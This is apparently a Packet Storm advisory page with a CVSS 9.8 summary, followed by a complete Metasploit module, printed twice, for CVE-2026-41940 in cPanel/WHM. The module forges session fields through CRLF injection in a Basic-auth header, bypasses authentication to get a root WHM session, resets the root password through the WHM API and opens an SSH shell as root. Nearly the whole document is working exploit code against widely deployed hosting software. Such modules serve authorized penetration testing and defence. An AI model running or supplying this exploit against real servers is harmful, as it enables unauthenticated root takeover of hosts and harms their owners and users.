9.8
/ 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Description
This Metasploit module exploits CVE-2026-41940, a CRLF injection in cPanel/WHMs cpsrvd daemon that allows unauthenticated remote code execution as root. The Basic-auth handler writes the password to the raw session file without stripping newlines...
Basic Information
ID
PACKETSTORM:221269
Published
May 18, 2026 at 00:00
Affected Product
Affected Versions
# frozen_string_literal: true
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'net/ssh'
require 'net/ssh/command_stream'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::SSH
include Msf::Exploit::Retry
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'cPanel/WHM CRLF Injection Authentication Bypass RCE',
'Description' => %q{
Exploits CVE-2026-41940, a CRLF injection in cPanel/WHM's cpsrvd daemon
that allows unauthenticated remote code execution as root.
The Basic-auth handler writes the password to the raw session file without
stripping newlines. Omitting the ob-part of the session cookie bypasses the
encoder, so injected fields land verbatim in the raw file. A subsequent
request to /scripts2/listaccts triggers Cpanel::Session::Modify to promote
those fields into the authoritative session cache, granting root WHM access.
RCE uses the WHM JSON API passwd endpoint to set a temporary root password,
then delivers the payload over SSH. The password is rotated after exploitation.
This module does not restore the original root password.
Affects all versions after 11.40. Fixed per branch: 11.86.0.41, 11.110.0.97,
11.118.0.63, 11.124.0.35, 11.126.0.54, 11.130.0.19, 11.132.0.29, 11.134.0.20,
11.136.0.5 (cPanel/WHM) and 136.1.7 (WP2).
},
'Author' => [
'Sina Kheirkhah', # Initial analysis and PoC (watchTowr)
'Adam Kues', # High-fidelity check technique (SLC Cyber)
'Shubham Shah', # High-fidelity check technique (SLC Cyber)
'Crypto-Cat', # Metasploit module (Rapid7)
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-41940'],
['URL', 'https://support.cpanel.net/hc/en-us/articles/40073787579671'],
['URL', 'https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/'],
['URL', 'https://slcyber.io/research-center/high-fidelity-check-for-the-cpanel-authentication-bypass-cve-2026-41940/'],
['URL', 'https://www.rapid7.com/blog/post/etr-cve-2026-41940-cpanel-whm-authentication-bypass/'],
],
'DisclosureDate' => '2026-04-28',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'Privileged' => true,
'Targets' => [
['Automatic', {}],
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 2087,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'WHM base path', '/']),
OptPort.new('SSHPORT', [true, 'SSH port on the target', 22])
])
register_advanced_options([
OptBool.new('DefangedMode', [true, 'Run in defanged mode', true]),
OptInt.new('VerifyTimeout', [true, 'Seconds to wait for auth bypass to be confirmed after session cache promotion', 10])
])
end
def mint_session
# Random username avoids cpHulk lockout; any user works on WHM for session minting
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login'),
'vars_get' => { 'login_only' => '1' },
'vars_post' => { 'user' => Rex::Text.rand_text_alpha(8), 'pass' => Rex::Text.rand_text_alpha(12) }
)
fail_with(Failure::Unreachable, 'No response from /login') unless res
# MSF joins multiple Set-Cookie headers into one string; use get_cookies
m = res.get_cookies.match(/(?:\A|;\s*)whostmgrsession=([^;,\s]+)/i)
fail_with(Failure::UnexpectedReply, 'No whostmgrsession cookie in /login response') unless m
session_name = Rex::Text.uri_decode(m[1]).split(',', 2).first
vprint_status("Session name: #{session_name}")
session_name
end
def inject_session_fields(session_name)
# \xff prefix bypasses set_pass() \x00 check; LF-only separates injected fields
raw_creds = "root:\xff\nsuccessful_internal_auth_with_timestamp=9999999999\nuser=root\ntfa_verified=1\nhasroot=1"
cookie_enc = Rex::Text.uri_encode(session_name)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'headers' => {
'Authorization' => "Basic #{Rex::Text.encode_base64(raw_creds)}",
'Cookie' => "whostmgrsession=#{cookie_enc}"
}
)
fail_with(Failure::Unreachable, 'No response from /') unless res
m = res.headers['Location'].to_s.match(%r{(/cpsess\d{10})})
fail_with(Failure::NotVulnerable, "No /cpsessXXXX token in redirect (HTTP #{res.code}). Target may be patched.") unless m
vprint_status("Security token: #{m[1]}")
m[1]
end
def promote_session_cache(session_name)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'scripts2', 'listaccts'),
'headers' => { 'Cookie' => "whostmgrsession=#{Rex::Text.uri_encode(session_name)}" }
)
fail_with(Failure::Unreachable, 'No response from /scripts2/listaccts') unless res
fail_with(Failure::UnexpectedReply, "Unexpected response from listaccts (HTTP #{res.code})") unless res.code == 401
vprint_status('Session fields promoted to cache')
end
def verify_auth_bypass(session_name, token)
# Retry until /json-api/version confirms auth or VerifyTimeout is reached.
# do_token_denied promotes the raw session fields to the JSON cache asynchronously;
# the first attempt may arrive before cpsrvd finishes writing the JSON cache file.
retry_until_truthy(timeout: datastore['VerifyTimeout']) do
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, token, 'json-api', 'version'),
'headers' => { 'Cookie' => "whostmgrsession=#{Rex::Text.uri_encode(session_name)}" }
)
res&.code == 200 && res.body.to_s.include?('"version"')
end
end
def whm_api_call(session_name, token, function, params = {})
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, token, 'json-api', function),
'vars_get' => { 'api.version' => '1' },
'vars_post' => params,
'headers' => { 'Cookie' => "whostmgrsession=#{Rex::Text.uri_encode(session_name)}" }
)
fail_with(Failure::Unreachable, "No response from json-api/#{function}") unless res
res
end
def check
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login'),
'vars_get' => { 'login_only' => '1' },
'vars_post' => { 'user' => Rex::Text.rand_text_alpha(8), 'pass' => Rex::Text.rand_text_alpha(12) }
)
return CheckCode::Unknown('No response from /login') unless res
m = res.get_cookies.match(/(?:\A|;\s*)whostmgrsession=([^;,\s]+)/i)
return CheckCode::Unknown('No whostmgrsession cookie from /login') unless m
cookie_full_raw = m[1]
session_name = Rex::Text.uri_decode(cookie_full_raw).split(',', 2).first
# Inject expired=1 for a throwaway user to avoid lockout risk
b64 = Rex::Text.encode_base64("u#{Rex::Text.rand_text_hex(10)}:\xff\nexpired=1")
res2 = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'headers' => {
'Authorization' => "Basic #{b64}",
'Cookie' => "whostmgrsession=#{Rex::Text.uri_encode(session_name)}"
}
)
return CheckCode::Detected('Service is running but injection endpoint did not respond') unless res2
m2 = res2.headers['Location'].to_s.match(%r{(/cpsess\d{10})})
return CheckCode::Safe('No cpsess token - injection did not land') unless m2
# On a vulnerable target the injected expired=1 surfaces in the session page body
res3 = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, m2[1], '/'),
'headers' => { 'Cookie' => "whostmgrsession=#{cookie_full_raw}" }
)
return CheckCode::Detected('Service is running and injection landed (cpsess token obtained), but verification request did not respond') unless res3
body = res3.body.to_s
if body.include?('msg_code:[expired_session]')
return CheckCode::Vulnerable('CRLF injection confirmed: expired_session marker detected')
end
CheckCode::Safe('Injection payload was filtered - target appears patched')
end
def exploit
if datastore['DefangedMode']
fail_with(Failure::BadConfig, <<~MSG.squish)
This module permanently changes the root password on the target system
and does not restore the original value. Set DefangedMode to false if
you have authorization to proceed.
MSG
end
tmp_pass = Rex::Text.rand_text_alphanumeric(16) + '!aA1'
print_status('Minting pre-auth session')
session_name = mint_session
print_status('Injecting session fields via CRLF')
token = inject_session_fields(session_name)
print_status('Triggering session cache promotion')
promote_session_cache(session_name)
print_status('Verifying WHM root access')
fail_with(Failure::NotVulnerable, 'Auth bypass failed') unless verify_auth_bypass(session_name, token)
print_good('Auth bypass successful - root WHM session obtained')
report_vuln(
host: rhost,
port: rport,
proto: 'tcp',
name: 'cPanel/WHM CRLF Injection Authentication Bypass (CVE-2026-41940)',
info: 'Unauthenticated root WHM session via CRLF injection in cpsrvd session handling',
refs: references
)
print_status('Setting temporary root password')
res = whm_api_call(session_name, token, 'passwd', 'user' => 'root', 'password' => tmp_pass)
body = res.body.to_s
passwd_json = nil
begin
passwd_json = res.get_json_document
rescue StandardError
nil
end
if res.code == 500 && body.include?('License')
fail_with(Failure::NoAccess, 'WHM passwd API requires a valid cPanel license')
end
# cPanel versions have two different passwd API response formats:
# - Older versions: {"status": 1, ...}
# - Newer versions: {"metadata": {"result": 1}, ...}
# Accept either to maintain compatibility across versions.
passwd_ok = passwd_json&.[]('status') == 1 || passwd_json&.dig('metadata', 'result') == 1
unless res.code == 200 && passwd_ok
fail_with(Failure::UnexpectedReply, "passwd API returned HTTP #{res.code}: #{body[0..200]}")
end
@tmp_pass_set = true
print_good('Root password set')
print_status('Connecting via SSH')
ssh = nil
begin
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh = Net::SSH.start(rhost, 'root', ssh_client_defaults.merge(
auth_methods: ['password'],
password: tmp_pass,
port: datastore['SSHPORT']
))
end
rescue ::Net::SSH::AuthenticationFailed => e
restore_passwd(session_name, token)
fail_with(Failure::NoAccess, "SSH authentication failed: #{e.message}")
rescue ::Net::SSH::Exception, ::Timeout::Error, ::EOFError => e
restore_passwd(session_name, token)
fail_with(Failure::Unreachable, "SSH connection failed: #{e.message}")
end
# Use the SSH channel directly as the session.
# handler(conn.lsock) must be the LAST call - it notifies the session waiter
# event that ExploitDriver polls after exploit() returns.
conn = Net::SSH::CommandStream.new(ssh, logger: self)
# Rotate the temporary password before handing off to the session.
# This ensures the temp cred is short-lived even if the operator never
# backgrounds the shell.
if @tmp_pass_set
print_status('Rotating root password')
new_pass = Rex::Text.rand_text_alphanumeric(20) + '!aA1'
rotated = false
begin
whm_api_call(session_name, token, 'passwd', 'user' => 'root', 'password' => new_pass)
print_good('Root password rotated')
@tmp_pass_set = false
rotated = true
rescue StandardError
# If the passwd call fails (likely due to session expiration before rotation),
# re-exploit to get a fresh auth bypass session and retry rotation.
begin
sn2 = mint_session
tok2 = inject_session_fields(sn2)
promote_session_cache(sn2)
whm_api_call(sn2, tok2, 'passwd', 'user' => 'root', 'password' => new_pass)
print_good('Root password rotated')
@tmp_pass_set = false
rotated = true
rescue StandardError => e
print_warning("Could not rotate root password: #{e.message}")
print_warning('Root password may still be set to the temporary value')
end
end
# Store credential separately so a database error does not trigger re-exploitation.
# origin_type :service is required by create_credential_and_login when service_data
# is explicitly provided.
if rotated
begin
store_valid_credential(
user: 'root',
private: new_pass,
service_data: {
origin_type: :service,
address: rhost,
port: datastore['SSHPORT'],
service_name: 'ssh',
protocol: 'tcp',
workspace_id: myworkspace_id
}
)
rescue StandardError => e
vprint_warning("Could not save credential to database: #{e.message}")
end
end
end
handler(conn.lsock)
ensure
# If an exception was raised after password change but before session opens,
# warn the operator that temporary credentials may still be active.
if @tmp_pass_set
print_warning('Root password may still be set to the temporary value')
end
end
private
def restore_passwd(session_name, token)
whm_api_call(session_name, token, 'passwd',
'user' => 'root', 'password' => Rex::Text.rand_text_alphanumeric(20) + '!aA1')
rescue StandardError
nil
end
end
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'net/ssh'
require 'net/ssh/command_stream'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::SSH
include Msf::Exploit::Retry
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'cPanel/WHM CRLF Injection Authentication Bypass RCE',
'Description' => %q{
Exploits CVE-2026-41940, a CRLF injection in cPanel/WHM's cpsrvd daemon
that allows unauthenticated remote code execution as root.
The Basic-auth handler writes the password to the raw session file without
stripping newlines. Omitting the ob-part of the session cookie bypasses the
encoder, so injected fields land verbatim in the raw file. A subsequent
request to /scripts2/listaccts triggers Cpanel::Session::Modify to promote
those fields into the authoritative session cache, granting root WHM access.
RCE uses the WHM JSON API passwd endpoint to set a temporary root password,
then delivers the payload over SSH. The password is rotated after exploitation.
This module does not restore the original root password.
Affects all versions after 11.40. Fixed per branch: 11.86.0.41, 11.110.0.97,
11.118.0.63, 11.124.0.35, 11.126.0.54, 11.130.0.19, 11.132.0.29, 11.134.0.20,
11.136.0.5 (cPanel/WHM) and 136.1.7 (WP2).
},
'Author' => [
'Sina Kheirkhah', # Initial analysis and PoC (watchTowr)
'Adam Kues', # High-fidelity check technique (SLC Cyber)
'Shubham Shah', # High-fidelity check technique (SLC Cyber)
'Crypto-Cat', # Metasploit module (Rapid7)
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-41940'],
['URL', 'https://support.cpanel.net/hc/en-us/articles/40073787579671'],
['URL', 'https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/'],
['URL', 'https://slcyber.io/research-center/high-fidelity-check-for-the-cpanel-authentication-bypass-cve-2026-41940/'],
['URL', 'https://www.rapid7.com/blog/post/etr-cve-2026-41940-cpanel-whm-authentication-bypass/'],
],
'DisclosureDate' => '2026-04-28',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'Privileged' => true,
'Targets' => [
['Automatic', {}],
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 2087,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'WHM base path', '/']),
OptPort.new('SSHPORT', [true, 'SSH port on the target', 22])
])
register_advanced_options([
OptBool.new('DefangedMode', [true, 'Run in defanged mode', true]),
OptInt.new('VerifyTimeout', [true, 'Seconds to wait for auth bypass to be confirmed after session cache promotion', 10])
])
end
def mint_session
# Random username avoids cpHulk lockout; any user works on WHM for session minting
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login'),
'vars_get' => { 'login_only' => '1' },
'vars_post' => { 'user' => Rex::Text.rand_text_alpha(8), 'pass' => Rex::Text.rand_text_alpha(12) }
)
fail_with(Failure::Unreachable, 'No response from /login') unless res
# MSF joins multiple Set-Cookie headers into one string; use get_cookies
m = res.get_cookies.match(/(?:\A|;\s*)whostmgrsession=([^;,\s]+)/i)
fail_with(Failure::UnexpectedReply, 'No whostmgrsession cookie in /login response') unless m
session_name = Rex::Text.uri_decode(m[1]).split(',', 2).first
vprint_status("Session name: #{session_name}")
session_name
end
def inject_session_fields(session_name)
# \xff prefix bypasses set_pass() \x00 check; LF-only separates injected fields
raw_creds = "root:\xff\nsuccessful_internal_auth_with_timestamp=9999999999\nuser=root\ntfa_verified=1\nhasroot=1"
cookie_enc = Rex::Text.uri_encode(session_name)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'headers' => {
'Authorization' => "Basic #{Rex::Text.encode_base64(raw_creds)}",
'Cookie' => "whostmgrsession=#{cookie_enc}"
}
)
fail_with(Failure::Unreachable, 'No response from /') unless res
m = res.headers['Location'].to_s.match(%r{(/cpsess\d{10})})
fail_with(Failure::NotVulnerable, "No /cpsessXXXX token in redirect (HTTP #{res.code}). Target may be patched.") unless m
vprint_status("Security token: #{m[1]}")
m[1]
end
def promote_session_cache(session_name)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'scripts2', 'listaccts'),
'headers' => { 'Cookie' => "whostmgrsession=#{Rex::Text.uri_encode(session_name)}" }
)
fail_with(Failure::Unreachable, 'No response from /scripts2/listaccts') unless res
fail_with(Failure::UnexpectedReply, "Unexpected response from listaccts (HTTP #{res.code})") unless res.code == 401
vprint_status('Session fields promoted to cache')
end
def verify_auth_bypass(session_name, token)
# Retry until /json-api/version confirms auth or VerifyTimeout is reached.
# do_token_denied promotes the raw session fields to the JSON cache asynchronously;
# the first attempt may arrive before cpsrvd finishes writing the JSON cache file.
retry_until_truthy(timeout: datastore['VerifyTimeout']) do
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, token, 'json-api', 'version'),
'headers' => { 'Cookie' => "whostmgrsession=#{Rex::Text.uri_encode(session_name)}" }
)
res&.code == 200 && res.body.to_s.include?('"version"')
end
end
def whm_api_call(session_name, token, function, params = {})
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, token, 'json-api', function),
'vars_get' => { 'api.version' => '1' },
'vars_post' => params,
'headers' => { 'Cookie' => "whostmgrsession=#{Rex::Text.uri_encode(session_name)}" }
)
fail_with(Failure::Unreachable, "No response from json-api/#{function}") unless res
res
end
def check
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login'),
'vars_get' => { 'login_only' => '1' },
'vars_post' => { 'user' => Rex::Text.rand_text_alpha(8), 'pass' => Rex::Text.rand_text_alpha(12) }
)
return CheckCode::Unknown('No response from /login') unless res
m = res.get_cookies.match(/(?:\A|;\s*)whostmgrsession=([^;,\s]+)/i)
return CheckCode::Unknown('No whostmgrsession cookie from /login') unless m
cookie_full_raw = m[1]
session_name = Rex::Text.uri_decode(cookie_full_raw).split(',', 2).first
# Inject expired=1 for a throwaway user to avoid lockout risk
b64 = Rex::Text.encode_base64("u#{Rex::Text.rand_text_hex(10)}:\xff\nexpired=1")
res2 = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'headers' => {
'Authorization' => "Basic #{b64}",
'Cookie' => "whostmgrsession=#{Rex::Text.uri_encode(session_name)}"
}
)
return CheckCode::Detected('Service is running but injection endpoint did not respond') unless res2
m2 = res2.headers['Location'].to_s.match(%r{(/cpsess\d{10})})
return CheckCode::Safe('No cpsess token - injection did not land') unless m2
# On a vulnerable target the injected expired=1 surfaces in the session page body
res3 = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, m2[1], '/'),
'headers' => { 'Cookie' => "whostmgrsession=#{cookie_full_raw}" }
)
return CheckCode::Detected('Service is running and injection landed (cpsess token obtained), but verification request did not respond') unless res3
body = res3.body.to_s
if body.include?('msg_code:[expired_session]')
return CheckCode::Vulnerable('CRLF injection confirmed: expired_session marker detected')
end
CheckCode::Safe('Injection payload was filtered - target appears patched')
end
def exploit
if datastore['DefangedMode']
fail_with(Failure::BadConfig, <<~MSG.squish)
This module permanently changes the root password on the target system
and does not restore the original value. Set DefangedMode to false if
you have authorization to proceed.
MSG
end
tmp_pass = Rex::Text.rand_text_alphanumeric(16) + '!aA1'
print_status('Minting pre-auth session')
session_name = mint_session
print_status('Injecting session fields via CRLF')
token = inject_session_fields(session_name)
print_status('Triggering session cache promotion')
promote_session_cache(session_name)
print_status('Verifying WHM root access')
fail_with(Failure::NotVulnerable, 'Auth bypass failed') unless verify_auth_bypass(session_name, token)
print_good('Auth bypass successful - root WHM session obtained')
report_vuln(
host: rhost,
port: rport,
proto: 'tcp',
name: 'cPanel/WHM CRLF Injection Authentication Bypass (CVE-2026-41940)',
info: 'Unauthenticated root WHM session via CRLF injection in cpsrvd session handling',
refs: references
)
print_status('Setting temporary root password')
res = whm_api_call(session_name, token, 'passwd', 'user' => 'root', 'password' => tmp_pass)
body = res.body.to_s
passwd_json = nil
begin
passwd_json = res.get_json_document
rescue StandardError
nil
end
if res.code == 500 && body.include?('License')
fail_with(Failure::NoAccess, 'WHM passwd API requires a valid cPanel license')
end
# cPanel versions have two different passwd API response formats:
# - Older versions: {"status": 1, ...}
# - Newer versions: {"metadata": {"result": 1}, ...}
# Accept either to maintain compatibility across versions.
passwd_ok = passwd_json&.[]('status') == 1 || passwd_json&.dig('metadata', 'result') == 1
unless res.code == 200 && passwd_ok
fail_with(Failure::UnexpectedReply, "passwd API returned HTTP #{res.code}: #{body[0..200]}")
end
@tmp_pass_set = true
print_good('Root password set')
print_status('Connecting via SSH')
ssh = nil
begin
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh = Net::SSH.start(rhost, 'root', ssh_client_defaults.merge(
auth_methods: ['password'],
password: tmp_pass,
port: datastore['SSHPORT']
))
end
rescue ::Net::SSH::AuthenticationFailed => e
restore_passwd(session_name, token)
fail_with(Failure::NoAccess, "SSH authentication failed: #{e.message}")
rescue ::Net::SSH::Exception, ::Timeout::Error, ::EOFError => e
restore_passwd(session_name, token)
fail_with(Failure::Unreachable, "SSH connection failed: #{e.message}")
end
# Use the SSH channel directly as the session.
# handler(conn.lsock) must be the LAST call - it notifies the session waiter
# event that ExploitDriver polls after exploit() returns.
conn = Net::SSH::CommandStream.new(ssh, logger: self)
# Rotate the temporary password before handing off to the session.
# This ensures the temp cred is short-lived even if the operator never
# backgrounds the shell.
if @tmp_pass_set
print_status('Rotating root password')
new_pass = Rex::Text.rand_text_alphanumeric(20) + '!aA1'
rotated = false
begin
whm_api_call(session_name, token, 'passwd', 'user' => 'root', 'password' => new_pass)
print_good('Root password rotated')
@tmp_pass_set = false
rotated = true
rescue StandardError
# If the passwd call fails (likely due to session expiration before rotation),
# re-exploit to get a fresh auth bypass session and retry rotation.
begin
sn2 = mint_session
tok2 = inject_session_fields(sn2)
promote_session_cache(sn2)
whm_api_call(sn2, tok2, 'passwd', 'user' => 'root', 'password' => new_pass)
print_good('Root password rotated')
@tmp_pass_set = false
rotated = true
rescue StandardError => e
print_warning("Could not rotate root password: #{e.message}")
print_warning('Root password may still be set to the temporary value')
end
end
# Store credential separately so a database error does not trigger re-exploitation.
# origin_type :service is required by create_credential_and_login when service_data
# is explicitly provided.
if rotated
begin
store_valid_credential(
user: 'root',
private: new_pass,
service_data: {
origin_type: :service,
address: rhost,
port: datastore['SSHPORT'],
service_name: 'ssh',
protocol: 'tcp',
workspace_id: myworkspace_id
}
)
rescue StandardError => e
vprint_warning("Could not save credential to database: #{e.message}")
end
end
end
handler(conn.lsock)
ensure
# If an exception was raised after password change but before session opens,
# warn the operator that temporary credentials may still be active.
if @tmp_pass_set
print_warning('Root password may still be set to the temporary value')
end
end
private
def restore_passwd(session_name, token)
whm_api_call(session_name, token, 'passwd',
'user' => 'root', 'password' => Rex::Text.rand_text_alphanumeric(20) + '!aA1')
rescue StandardError
nil
end
end